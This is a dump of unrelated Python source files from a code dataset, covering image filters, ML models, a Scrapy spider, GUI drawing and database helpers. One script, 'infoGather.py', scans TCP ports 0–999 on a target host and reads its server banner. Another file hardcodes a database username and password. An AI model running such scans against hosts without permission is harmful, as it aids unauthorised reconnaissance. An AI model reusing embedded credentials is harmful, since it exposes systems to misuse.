= (8, 6))\n fig.clf()\n ax = fig.gca()\n ax.hist(img.flatten(), bins = 256)\n plt.show()\nimg_histogram(img_mono)\n\n\n#%%\ndef img_cdf(img): # cdf = Cumulative Distribution Function\n import matplotlib.pyplot as plt\n fig = plt.figure(figsize = (8, 6))\n fig.clf()\n ax = fig.gca()\n ax.hist(img.flatten(), bins = 256, cumulative = True)\n plt.show()\nimg_cdf(img_mono)\n\n\n#%%\nfrom skimage import exposure\n\nimg_equalized = exposure.equalize_hist(img_mono)\nimshow(img_equalized, cmap = 'gray')\n\n\n#%%\nimg_histogram(img_equalized)\nimg_cdf(img_equalized)\n\n\n#%%\nimport skimage\nimg_noise = skimage.util.random_noise(img_equalized)\nimshow(img_noise)\n\n\n#%%\ndef gauss_filter(img, sigma = 10):\n from scipy.ndimage.filters import gaussian_filter as gf\n import numpy as np\n return gf(img, sigma = sigma)\nimg_gauss = gauss_filter(img_noise)\nimshow(img_gauss, cmap = 'gray')\n\n\n#%%\ndef median_fiter(img, size = 10):\n from scipy.ndimage.filters import median_filter as mf\n import numpy as np\n return mf(img, size = size)\nimg_median = median_fiter(img_noise)\nimshow(img_median, cmap = 'gray')\n\n\n#%%\ndef edge_sobel(img):\n from scipy import ndimage\n import skimage.color as sc\n import numpy as np\n\n # Convert color image to grey scale\n img = sc.rgb2grey(img)\n # Horizontal derivative\n dx = ndimage.sobel(img, 1)\n # Vertivcal derivative\n dy = ndimage.sobel(img, 0)\n # Magnitude\n mag = np.hypot(dx, dy)\n # Normalize Q&D\n mag *= 255.0 / np.amax(mag)\n mag = mag.astype(np.uint8)\n\n return mag\nimg_edge = edge_sobel(img_median)\nimshow(img_edge, cmap = \"gray\")\n\n\n#%%\ndef corner_harr(img, min_distance = 10):\n from skimage.feature import corner_harris, corner_peaks\n mag = corner_harris(img)\n\n return corner_peaks(mag, min_distance = min_distance)\n\nimg_harris = corner_harr(img_equalized, 10)\n\n\n#%%\ndef plot_harris(img, harris_img, markersize = 20, color = \"red\"):\n import matplotlib.pyplot as plt\n import numpy as np\n\n fig = plt.figure(figsize = (6, 6))\n fig.clf()\n\n ax = fig.gca()\n ax.imshow(np.array(img).astype(float), cmap = \"gray\")\n ax.plot(harris_img[:, 1], harris_img[:, 0], \"r+\", color = color, markersize = markersize)\n \n return \"Done\"\n\nplot_harris(img_equalized, img_harris)\n\n\n#%%\n\n\n\n","sub_path":"FULL.py","file_name":"FULL.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"289110947","text":"import argparse\nimport psycopg2\nfrom blockserver.backend.database import PostgresUserDatabase\n\n\ndef _connect(dsn):\n connection = psycopg2.connect(dsn)\n db = PostgresUserDatabase(connection)\n return db\n\n\ndef initdb(dsn):\n db = _connect(dsn)\n db.init_db()\n\n\ndef dropdb(dsn):\n db = _connect(dsn)\n db.drop_db()\n\n\ndef parse_args(arguments):\n parser = argparse.ArgumentParser(description='Manage qabel-block')\n parser.add_argument('action', choices=('initdb', 'dropdb'))\n parser.add_argument('--psql-dsn', metavar='DSN', required=True)\n return parser.parse_args(arguments)\n\n\ndef main(arguments=None):\n args = parse_args(arguments)\n if args.action == 'initdb':\n initdb(args.psql_dsn)\n elif args.action == 'dropdb':\n dropdb(args.psql_dsn)\n\nif __name__ == '__main__':\n main()\n\n\n\n","sub_path":"src/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298522484","text":"# coding=utf-8\nimport xml.etree.cElementTree\nfrom ..common import conf\nfrom ..common import logoutput\nclass XmlOperation():\n \"\"\"\n 操作Xml文件\n \"\"\"\n def __init__(self):\n self.lg=logoutput.Logger()\n def get_xml_data(self, page, element):\n CONF_NAME_XMLPATH=\"XmlPath\"\n CONF_PATH=\"path\"\n '''\n 获取xml数据,传入二级节点名称,三级节点名称,xml文件路径,以字典格式返回\n :param page:二级页面名称\n :param element:元素名称\n :param path:xml文件地址\n :return: 返回元素信息\n '''\n try:\n cf=conf.Conf()\n self.lg.info(\"从配置文件获取xml地址\")\n p=cf.get_conf_data(CONF_NAME_XMLPATH)\n x = xml.etree.cElementTree.parse(p[CONF_PATH])\n root = x.getroot()\n self.lg.info(\"获取节点信息\")\n a = root.find(page)\n b = a.find(element)\n return b.attrib\n except Exception as e:\n self.lg.error(e)\n\n# x = XmlOperation()\n# a = x.get_xml_data(\"index\", \"usr_in\", r\"D:\\svn\\Test\\自动化测试\\frame\\UItest\\code\\demo\\demo\\object\\fzbd.xml\")\n# print(a)\n","sub_path":"common/xml.py","file_name":"xml.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"501088259","text":"import re\nimport scrapy\nfrom news_scraper.items import ArticleItem\nfrom news_scraper.settings import PROJECT_DIR\n\nclass ArticleSpider(scrapy.Spider):\n name = 'articles'\n\n def parse(self, response):\n page_id = re.search(r'ELEMENT_ID=(\\d+)', response.url).group(1)\n title = response.css('h1').extract_first()\n article_element = response.xpath(\"//div[@class='news-detail']\")\n\n text_parts = article_element.xpath(\".//text()\").extract()\n text_parts = [part.strip() for part in text_parts]\n text = ''.join(text_parts)\n\n image_url = article_element.xpath(\".//img/@src\").extract_first()\n image_url = ''.join(['http://gvardeysk.gov39.ru', image_url])\n\n item = ArticleItem()\n item['image_urls'] = [image_url]\n item['text'] = text\n\n f = open(PROJECT_DIR + \"assets/articles/article_\" + str(page_id) + \".txt\",\"w\")\n f.write(text)\n f.close()\n\n yield item","sub_path":"spiders/article_spider.py","file_name":"article_spider.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"85705685","text":"\"\"\"\nGiven an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.\n\nExample:\n\nInput: [-2,1,-3,4,-1,2,1,-5,4],\nOutput: 6\nExplanation: [4,-1,2,1] has the largest sum = 6.\nFollow up:\n\nIf you have figured out the O(n) solution, try coding another solution using the divide and conquer approach, which is more subtle.\n\"\"\"\ndef solution(nums):\n prev_sum = []\n cur_sum = 0\n for i in range(len(nums)):\n prev_sum.append(cur_sum)\n # print(i,cur_sum)\n # print(prev_sum)\n if cur_sum < nums[i]:\n cur_sum = 0\n cur_sum += nums[i]\n return max(prev_sum)\n\ndef solution2(nums):\n cur_sum = nums[0]\n max_sum = nums[0]\n\n for i in range(1,len(nums)):\n cur_sum = max(cur_sum+nums[i],nums[i])\n max_sum = max(cur_sum,max_sum)\n return max_sum\n\nnums = [-2,1,-3,4,-1,2,1,-5,4]\nprint(solution2(nums))","sub_path":"daily-coding-challenge/03042020.py","file_name":"03042020.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"203895410","text":"import tensorflow as tf\nimport numpy as np\n\nfrom model.model_base import PredictionModel\n\n\n# tf.set_random_seed(999)\n\n\nclass FactorizationMachines(PredictionModel):\n def __init__(self, n_fields, n_features, embedding_size, l2_beta=0.01, learning_rate=0.01, dropout=None, n_epochs=20, batch_size=5000, plot_loss=False):\n super().__init__()\n\n # n_fields表示特征未经过one-hot拓展的总量\n # n_features表示特征经过one-hot拓展后的总量\n self.n_fields = n_fields\n self.n_features = n_features\n self.embedding_size = embedding_size\n\n self.l2_beta = l2_beta\n self.learning_rate = learning_rate\n self.dropout = [1.0, 1.0] if dropout is None else dropout\n self.n_epochs = n_epochs\n self.batch_size = batch_size\n\n self._build_net()\n self.sess = tf.Session()\n self.sess.run(tf.global_variables_initializer())\n\n self.loss_trace = []\n self.plot_loss = plot_loss\n\n def _build_net(self):\n self.feat_idx = tf.placeholder(tf.int32, [None, self.n_fields])\n self.feat_val = tf.placeholder(tf.float32, [None, self.n_fields])\n self.label = tf.placeholder(tf.float32, [None, 1])\n self.o1_dropout = tf.placeholder(tf.float32)\n self.o2_dropout = tf.placeholder(tf.float32)\n\n # init weights\n self.o2_weights = tf.Variable(tf.truncated_normal([self.n_features, self.embedding_size]))\n self.o1_weights = tf.Variable(tf.truncated_normal([self.n_features, 1]))\n self.bias = tf.Variable(tf.truncated_normal([1, 1]))\n\n # first order term\n # (None, n_fields, embedding_size=1)\n o1_feat_weights = tf.nn.embedding_lookup(self.o1_weights, self.feat_idx)\n # (None, n_fields, 1)\n feat_val = tf.reshape(self.feat_val, shape=[-1, self.n_fields, 1])\n # (None, n_fields, embedding_size=1)\n o1_feat_emb = tf.multiply(o1_feat_weights, feat_val)\n # (None, 1)\n o1_term = tf.reduce_sum(o1_feat_emb, 1) + self.bias\n o1_term = tf.nn.dropout(o1_term, rate=1-self.o1_dropout)\n\n # second order term\n # (None, n_fields, embedding_size)\n o2_feat_weights = tf.nn.embedding_lookup(self.o2_weights, self.feat_idx)\n # (None, n_fields, embedding_size)\n o2_feat_emb = tf.multiply(o2_feat_weights, feat_val)\n\n # square of sum\n # (None, embedding_size)\n square_of_sum = tf.square(tf.reduce_sum(o2_feat_emb, 1))\n\n # sum of square\n # (None, embedding_size)\n sum_of_square = tf.reduce_sum(tf.square(o2_feat_emb), 1)\n\n # (None, 1)\n o2_term = 0.5 * tf.reduce_sum(square_of_sum - sum_of_square, axis=1)\n o2_term = tf.reshape(o2_term, shape=[-1, 1])\n o2_term = tf.nn.dropout(o2_term, rate=1-self.o2_dropout)\n\n self.reg_val = o1_term + o2_term\n self.reg_proba = tf.sigmoid(self.reg_val)\n self.reg_label = tf.round(self.reg_proba)\n # correct_count = tf.cast(tf.equal(self.reg_label, self.y), dtype=tf.float32)\n # self.acc = tf.reduce_mean(correct_count)\n\n self.loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.reg_val, labels=self.label)) \\\n + self.l2_beta * tf.nn.l2_loss(self.o1_weights) + self.l2_beta * tf.nn.l2_loss(self.o2_weights)\n self.global_step = tf.Variable(0, trainable=False)\n learning_rate = tf.train.exponential_decay(self.learning_rate, self.global_step, 1000, 0.96, staircase=True)\n # Passing global_step to minimize() will increment it at each step.\n self.train_op = tf.train.AdamOptimizer(learning_rate).minimize(self.loss, global_step=self.global_step)\n\n def fit(self, x_data, y_data):\n assert (isinstance(x_data, tuple))\n (x_data_fi, x_data_fv) = x_data\n\n index_list = np.tile(np.arange(x_data_fi.shape[0]), self.n_epochs)\n np.random.shuffle(index_list)\n n_batches = int(np.ceil(x_data_fi.shape[0] * self.n_epochs * 1.0 / self.batch_size))\n\n for i in range(n_batches):\n start = self.batch_size * i\n end = self.batch_size * (i + 1) if self.batch_size * (i + 1) < x_data_fi.shape[0] * self.n_epochs else x_data_fi.shape[0] * self.n_epochs\n x_data_fi_batch = x_data_fi[index_list[start: end]]\n x_data_fv_batch = x_data_fv[index_list[start: end]]\n y_data_batch = y_data[index_list[start: end]].reshape(-1, 1)\n\n _, cur_loss = self.sess.run([self.train_op, self.loss],\n feed_dict={self.feat_idx: x_data_fi_batch,\n self.feat_val: x_data_fv_batch,\n self.label: y_data_batch,\n self.o1_dropout: self.dropout[0],\n self.o2_dropout: self.dropout[1]})\n self.loss_trace.append(cur_loss)\n\n if (i + 1) % 100 == 0 or i == n_batches - 1:\n print('batch: {}/{}\\tloss: {:8f}'.format(i + 1, n_batches, cur_loss))\n if self.plot_loss:\n import matplotlib.pyplot as plt\n plt.plot(self.loss_trace)\n plt.title('Cross Entropy Loss')\n plt.xlabel('batch')\n plt.ylabel('loss')\n plt.show()\n\n def predict_proba(self, x_data):\n assert (isinstance(x_data, tuple))\n (x_data_fi, x_data_fv) = x_data\n return self.sess.run(self.reg_proba, feed_dict={self.feat_idx: x_data_fi,\n self.feat_val: x_data_fv,\n self.o1_dropout: 1.0,\n self.o2_dropout: 1.0})\n\n def predict_label(self, x_data):\n assert (isinstance(x_data, tuple))\n (x_data_fi, x_data_fv) = x_data\n return self.sess.run(self.reg_label, feed_dict={self.feat_idx: x_data_fi,\n self.feat_val: x_data_fv,\n self.o1_dropout: 1.0,\n self.o2_dropout: 1.0})\n\n def cal_loss(self, x_data, y_data):\n assert (isinstance(x_data, tuple))\n (x_data_fi, x_data_fv) = x_data\n y_data = y_data.reshape(-1, 1)\n\n return self.sess.run(self.loss, feed_dict={self.feat_idx: x_data_fi,\n self.feat_val: x_data_fv,\n self.label: y_data,\n self.o1_dropout: 1.0,\n self.o2_dropout: 1.0})\n\n def save_model(self, path):\n with self.sess.as_default():\n o2_weights = self.o2_weights.eval().reshape([self.n_features, self.embedding_size])\n o1_weights = self.o1_weights.eval().reshape([-1])\n bias = self.bias.eval().reshape([-1])\n with open(path, 'w') as fd:\n for i in range(0, self.n_features):\n for j in range(0, self.embedding_size):\n fd.write('{:.8f} '.format(o2_weights[i, j]))\n fd.write('\\n')\n fd.write('\\n')\n for i, w in enumerate(o1_weights):\n fd.write('{:.8f}\\n'.format(w))\n fd.write('\\n')\n fd.write('{:.8f}\\n'.format(bias[0]))\n\n\nif __name__ == '__main__':\n from sklearn import datasets\n from sklearn.model_selection import train_test_split\n from sklearn.preprocessing import label_binarize, StandardScaler\n from model.model_evaluation import evaluate_classification_model\n\n # ----- load some demo data -----\n iris = datasets.load_iris()\n x = iris.data[0:100, 0:4]\n y = iris.target[0:100]\n y = label_binarize(y, classes=[0, 1]).ravel()\n train_x, test_x, train_y, test_y = train_test_split(x, y, test_size=0.5, random_state=999)\n sc = StandardScaler()\n sc.fit(train_x)\n train_x_std = sc.transform(train_x)\n test_x_std = sc.transform(test_x)\n\n # ----- train model -----\n train_data_fi = np.tile(np.arange(0, train_x_std.shape[1]), train_x_std.shape[0]).reshape(train_x_std.shape[0],\n train_x_std.shape[1])\n train_data_fv = train_x_std\n train_x_std = (train_data_fi, train_data_fv)\n test_data_fi = np.tile(np.arange(0, test_x_std.shape[1]), test_x_std.shape[0]).reshape(test_x_std.shape[0],\n test_x_std.shape[1])\n test_data_fv = test_x_std\n test_x_std = (test_data_fi, test_data_fv)\n\n model = FactorizationMachines(n_fields=4, n_features=4, embedding_size=3, batch_size=5, plot_loss=True)\n model.fit(train_x_std, train_y)\n model.save_model('../output/lr.model')\n\n # ----- test model -----\n predict_y_proba = model.predict_proba(test_x_std)\n predict_y_label = model.predict_label(test_x_std)\n # for target, proba, predict in zip(test_y, predict_y_proba, predict_y_label):\n # print('{}: {} -> {}'.format(target, proba, predict))\n evaluate_classification_model(test_y, predict_y_label, predict_y_proba, plot_roc=False)\n","sub_path":"model/tensorflow/factorization_machines_tf.py","file_name":"factorization_machines_tf.py","file_ext":"py","file_size_in_byte":9391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"18197406","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rustic_cut', '0003_auto_20151225_2024'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='product',\n name='category',\n ),\n migrations.AddField(\n model_name='product',\n name='categories',\n field=models.ManyToManyField(related_name='products', to='rustic_cut.Category', blank=True),\n preserve_default=True,\n ),\n ]\n","sub_path":"django/rustic_cut/rustic_cut/migrations/0004_auto_20151225_2054.py","file_name":"0004_auto_20151225_2054.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583102415","text":"from tkinter import *\nimport random\n\ntop = Tk()\ntop.title('Graphics')\ncanvas = Canvas(top, width=600, height=300, bg=\"black\")\ncanvas.grid(row=1, column=2)\nrect = canvas.create_rectangle(50, 50, 100, 150, fill=\"red\")\n\ndef japanFlag():\n coord = 200, 50, 400, 250\n arc = canvas.create_oval(coord, fill=\"red\")\n\n top.mainloop()\n\ndef diamond():\n c = Canvas(top, bg=\"white\", height=300, width=600)\n p = c.create_polygon(300, 0, 200, 100, 300, 200, 400, 100)\n r = c.create_rectangle(0, 0, 20, 40, fill=\"blue\")\n c.grid(row=1, column=2)\n top.mainloop()\n\ndef terc():\n tercSetup(10, 10)\n\ndef tercSetup(n, d):\n x1, y1 = 300 - n * d, 150 - n * d\n x2, y2 = 300 + n * d, 150 + n * d\n colors = ['red', 'blue', 'green', 'yellow', 'black']\n \n coord = x1, y1, x2, y2\n arc = canvas.create_oval(coord, fill=colors[-1])\n \n for i in range(n):\n x1, y1 = x1 + d, y1 + d\n x2, y2 = x2 - d, y2 - d\n coord = x1, y1, x2, y2\n r = lambda: random.randint(0,255)\n color = '#%02X%02X%02X' % (r(),r(),r())\n arc = canvas.create_oval(coord, fill=color)\n \n top.mainloop()\n \ndef des():\n canvas.delete(ALL)\n\nbutton = Button(top, text='Terc', width=25, command=terc) \nbutton.grid(row=1, column=1)\nbutton = Button(top, text='Japan', width=25, command=japanFlag) \nbutton.grid(row=2, column=1)\nbutton = Button(top, text='Diamond', width=25, command=diamond) \nbutton.grid(row=3, column=1)\n\ntop.mainloop() ","sub_path":"graphics.py","file_name":"graphics.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"277613284","text":"# this is my Information Gathering miniProject\nimport socket\nimport requests\nimport sys , os\nimport urllib.request\n\ntry:\n\tos.system(\"figlet infoGather\") #created in exception for some users where figlet isnot present\nexcept:\n\tpass\nprint(f\"\\nversion: v1.2\")\ntry:\n\tdomain = str(sys.argv[1])\n\tport = int(sys.argv[2])\n\nexcept (IndexError , ValueError):\n\tprint(f\"\\033[33mMust pass an argument!!!\\033[37m\")\n\tsys.exit(2)\n\ntry:\n\tsock = socket.create_connection((domain,port))\n\tsock.settimeout(50) #50secs , socket will wait 50 sec to try connecting with the server\n \nexcept:\n\tprint(f\"\\033[33mHost Unreachable!!!\");\n\tsys.exit(2)\n\nreq = None #no requests\n\nif sock.fileno() != -1: # if domain is up , then analyse further\n\tprint(f\"\\033[32mDomain {socket.gethostbyname(domain)} is Up... \\033[37m\")\n\tif port == 443:\n\t\treq = requests.get(f\"https://{domain}\")\n\t\tprint(f\"Status Code : {req.status_code}\")\n\t\tprint(f\"Service by port : {socket.getservbyport(port)}\")\n\n\tif port == 80:\n\t\treq = requests.get(f\"http://{domain}:{port}\")\n\t\tprint(f\"Status Code : {req.status_code}\")\n\t\tprint(f\"Service by port : {socket.getservbyport(port)}\")\n\nprint(f\"Service by : {req.headers['Server']}\")\nfor i in range(0,1000):\n\ts = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # only dicovers TCP ports i repeat only discovers TCP ports\n\ts.settimeout(0.2) \n\tresult = s.connect_ex((domain,i))\n\tif result == 0:\n\t\tprint(f\"Discovered port {i}\")\n \n# request's headers \nfor i in req.headers:\n\tprint(req.headers[i])\n\n \n\n\n","sub_path":"infoGather.py","file_name":"infoGather.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"77027984","text":"\"\"\"\nA conversational agent learns to navigate a grid world with the help of a\nconversational-agent friend.\n\nWe learn a recurrent policy `A` which can take actions in a grid-world\nenvironment and send messages (token sequences) to a friend `B`. `A` is\n*blind*, while `B` has full vision of `A`'s grid world environment. `A` must\ncommunicate with `B` in order to find its goal and then reach it.\n\nHere `B` is a simple fixed agent which runs regex matches on `A`'s utterances.\nIts language is vaguely English-like, but aggressively abbreviated in order to\nmake `A`'s task easier.\n\"\"\"\n\nimport copy\nfrom pprint import pprint\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom rllab import config\nfrom rllab.algos.trpo import TRPO\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\nfrom rllab.baselines.zero_baseline import ZeroBaseline\nfrom rllab.envs.normalized_env import normalize\nfrom rllab.misc.instrument import stub, run_experiment_lite\nfrom sandbox.rocky.tf.algos.trpo import TRPO\nfrom sandbox.rocky.tf.core.network import MLP\nfrom sandbox.rocky.tf.optimizers.conjugate_gradient_optimizer import ConjugateGradientOptimizer, FiniteDifferenceHvp\n\nfrom praglang.agents.grid import GridWorldMasterAgent, GridWorldSlaveAgent\nfrom praglang.environments.grid import GridWorldEnv, SlaveGridWorldEnv\nfrom praglang.environments.conversation import SituatedConversationEnvironment\nfrom praglang.policies import RecurrentCategoricalPolicy\nfrom praglang.util import MLPNetworkWithEmbeddings\n\n\nstub(globals())\n\nDEFAULTS = {\n \"batch_size\": 50000,\n \"max_path_length\": 10,\n \"n_itr\": 500,\n \"step_size\": 0.01,\n \"policy_hidden_dims\": (128,128),\n \"embedding_dim\": 32,\n \"feature_dim\": 128,\n \"feature_hidden_dims\": (128,),\n\n \"match_reward\": 1.0, # reward for valid utterance\n \"goal_reward\": 10.0, # reward for reaching goal\n}\n\nconfig.LOG_DIR = \"./log\"\n\ndef run_experiment(**params):\n base_params = copy.copy(DEFAULTS)\n base_params.update(params)\n params = base_params\n pprint(params)\n\n grid_world = SlaveGridWorldEnv(\"walled_chain\",\n max_traj_length=DEFAULTS[\"max_path_length\"],\n goal_reward=params[\"goal_reward\"])\n agent = GridWorldMasterAgent(grid_world, match_reward=params[\"match_reward\"])\n env = normalize(SituatedConversationEnvironment(env=grid_world, b_agent=agent))\n baseline = LinearFeatureBaseline(env)\n\n policy = RecurrentCategoricalPolicy(\n name=\"policy\",\n env_spec=env.spec,\n hidden_dims=params[\"policy_hidden_dims\"],\n feature_network=MLPNetworkWithEmbeddings(\n \"feature_network\", env.observation_space.flat_dim,\n params[\"feature_dim\"], params[\"feature_hidden_dims\"],\n tf.tanh, tf.tanh, agent.vocab_size, params[\"embedding_dim\"]),\n state_include_action=False,\n )\n\n optimizer = ConjugateGradientOptimizer(hvp_approach=FiniteDifferenceHvp(base_eps=1e-5))\n\n algo = TRPO(\n env=env,\n policy=policy,\n baseline=baseline,\n batch_size=params[\"batch_size\"],\n max_path_length=params[\"max_path_length\"],\n n_itr=params[\"n_itr\"],\n discount=0.99,\n step_size=params[\"step_size\"],\n optimizer=optimizer,\n )\n\n run_experiment_lite(\n algo.train(),\n n_parallel=15,\n snapshot_mode=\"last\",\n exp_prefix=\"grid_world_sweep3\",\n variant=params,\n )\n\n\n# Sweep with some random hyperparameters until killed.\nwhile True:\n batch_size = np.random.choice([50000, 100000])\n n_itr = 500 if batch_size == 50000 else 250\n match_reward = np.random.uniform(0.0, 3.0)\n goal_reward = np.random.uniform(1.0, 20.0)\n\n if goal_reward < match_reward:\n # Reject; this would be a weird setup\n continue\n\n run_experiment(batch_size=batch_size, n_itr=n_itr,\n match_reward=match_reward,\n goal_reward=goal_reward)\n","sub_path":"praglang/scripts/grid_world.py","file_name":"grid_world.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213101023","text":"from tensorflow.keras import datasets, models, layers, losses\nimport tensorflow as tf\nfrom mpl_toolkits import mplot3d\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\ndef cone(x,y):\n return np.sqrt(x**2 + y**2)\n\ndef ripple(x,y):\n return np.sin(10 * (x**2 + y**2)) / 10\n\ndef makeTuple(X,Y):\n inputList = []\n for index, value in enumerate(X):\n for index1, value1 in enumerate(value):\n inputList.append([value1, Y[index][index1]])\n return inputList\n\ndef unpackTuple(A):\n X = []\n Y = []\n for item in A:\n X.append([item[0]])\n Y.append([item[1]])\n return X, Y\n\ndef makeArray(Z):\n zList = []\n for subList in Z:\n for value in subList:\n zList.append([value])\n return zList\n\ndef randomPoints(number, bounds):\n inputList = []\n outputList = []\n while(number > 0):\n value1 = random.uniform(bounds[0],bounds[1])\n value2 = random.uniform(bounds[0],bounds[1])\n inputList.append([value1, value2])\n outputList.append([ripple(value1, value2)])\n number = number -1\n return inputList, outputList\n\nbounds = (-1,1)\ninputList, outputList = randomPoints(50000, bounds)\nX_Train, Y_Train = unpackTuple(inputList)\n\nmodel = models.Sequential()\nmodel.add(layers.Dense(32, activation='exponential', input_shape=(2,)))\nmodel.add(layers.Dense(48, activation='tanh'))\nmodel.add(layers.Dense(1, activation=None))\nmodel.compile(optimizer='Adam',\n loss=losses.MeanSquaredError(),\n metrics=['mean_squared_error'])\n\nhistory = model.fit(np.array(inputList),np.array(outputList), epochs=300)\n#print(model.get_weights())\n\n\n# plots out learning curve\n# plt.plot(history.history['mean_squared_error'], label='mean_squared_error')\n# plt.xlabel('Epoch')\n# plt.ylabel('MSE')\n# plt.ylim([0.0, 0.2])\n# plt.legend(loc='lower right')\n# plt.show()\n\n# generate test data\ninputTest, outputTest = randomPoints(10, bounds)\nX_Test, Y_Test = unpackTuple(inputTest)\nprint(model.predict(np.array(inputTest)))\nprint(outputTest)\n\nx = np.linspace(-1, 1, 800)\ny = np.linspace(-1, 1, 800)\n\nX, Y = np.meshgrid(x, y)\nZ = ripple(X, Y)\n\nfig = plt.figure()\nax = plt.axes(projection=\"3d\")\n\nax.plot_wireframe(X, Y, Z, color='c')\nax.scatter3D(X_Test, Y_Test, model.predict(np.array(inputTest)), c='r')\nax.set_xlabel('x')\nax.set_ylabel('y')\nax.set_zlabel('z')\n\nplt.show()\n","sub_path":"Summer20/NeuralNetwork/tf3d.py","file_name":"tf3d.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"397904077","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('users', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Article',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50, verbose_name='Nombre de art\\xedculo')),\n ('price', models.FloatField(verbose_name=b'Precio', validators=[django.core.validators.MinValueValidator(0.0)])),\n ('quantity', models.IntegerField(default=1, verbose_name=b'Cantidad', validators=[django.core.validators.MinValueValidator(0)])),\n ('total', models.FloatField(verbose_name=b'Total')),\n ],\n options={\n 'verbose_name': 'Art\\xedculo',\n 'verbose_name_plural': 'Art\\xedculos',\n 'permissions': (('show_article', 'Can Details Article'), ('index_article', 'Can List Article')),\n },\n ),\n migrations.CreateModel(\n name='Billing',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('is_canceled', models.BooleanField(default=False, verbose_name=b'Esta anulado?')),\n ('register_date', models.DateField(default=datetime.datetime.now, verbose_name=b'Fecha de Registro')),\n ('company', models.ForeignKey(verbose_name='Instituci\\xf3n', to='users.Company')),\n ],\n options={\n 'ordering': ['id'],\n 'verbose_name': 'Factura',\n 'verbose_name_plural': 'Facturas',\n 'permissions': (('show_billing', 'Can Details Billing'), ('index_billing', 'Can List Billing'), ('cancel_billing', 'Can Canceled Billing'), ('pdf_billing', 'Can Pdf Billing')),\n },\n ),\n migrations.CreateModel(\n name='Customer',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('full_name', models.CharField(max_length=50, verbose_name='Nombres o Raz\\xf3n social')),\n ('nit', models.CharField(unique=True, max_length=20, verbose_name=b'Nit o Ci', validators=[django.core.validators.RegexValidator(regex=b'^\\\\d{7,15}$', message='Nit o Ci no v\\xe1lido')])),\n ],\n options={\n 'verbose_name': 'Consumidor',\n 'verbose_name_plural': 'Consumidor',\n 'permissions': (('show_customer', 'Can Details Customer'), ('index_customer', 'Can List Customer')),\n },\n ),\n migrations.AddField(\n model_name='billing',\n name='customer',\n field=models.ForeignKey(verbose_name=b'Consumidor', to='invoices.Customer'),\n ),\n migrations.AddField(\n model_name='article',\n name='billing',\n field=models.ForeignKey(verbose_name=b'Factura', to='invoices.Billing'),\n ),\n ]\n","sub_path":"invoices/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437025756","text":"import sys\nimport os\nimport csv\nimport pyodbc \nimport pandas as pd\nimport pandas.io.sql as psql\nfrom pandas import Series, DataFrame\n\n\n# Functions Section---------------------------------------------------------------------------------------------------------------------\n\n#1)CHKShot DB connecton Function -> return as dataframe -Updated 7/5/17\ndef CKS_Read_Query(query):\n try:\n #Create MS SQL conection via ODBC driver\n cnxn = pyodbc.connect(\"DSN=SQL_R_CHKShot\")\n cur = cnxn.cursor()\n df = psql.read_sql(query, cnxn)\n cnxn.close()\n #print(df)\n return df\n except \"Query Error\":\n print(\"WV Query Error...!\")\n\n#1)Eof \n\n#2)Wellview DB connecton Function -> return as dataframe -Updated 7/5/17\ndef WV_Read_Query(query):\n try:\n cnxn = pyodbc.connect(\"DSN=SQL_R_WV\") \n cur = cnxn.cursor()\n df = psql.read_sql(query, cnxn)\n cnxn.close()\n #print(df)\n return df\n except \"Wellview Query Error...!\":\n print(\"Wellview Query Error...!\")\n \n#2)Eof\n\n#3)VuMax Prd connecton Function -> return as dataframe -Updated 7/5/17\ndef VMX_PRD_Read_Query(query):\n try:\n cnxn = pyodbc.connect(driver='{SQL Server}', server='OKCSQLPRD1021', database='VuMaxDR',\n uid=\"Vmx_vumaxadmin\",pwd=\"vumaxadmin\",trusted_connection=\"no\")\n cur = cnxn.cursor()\n df = psql.read_sql(query, cnxn)\n cnxn.close()\n #print(df)\n return df\n except \"VuMax PRD Query Error...!\":\n print(\"VuMax PRDQuery 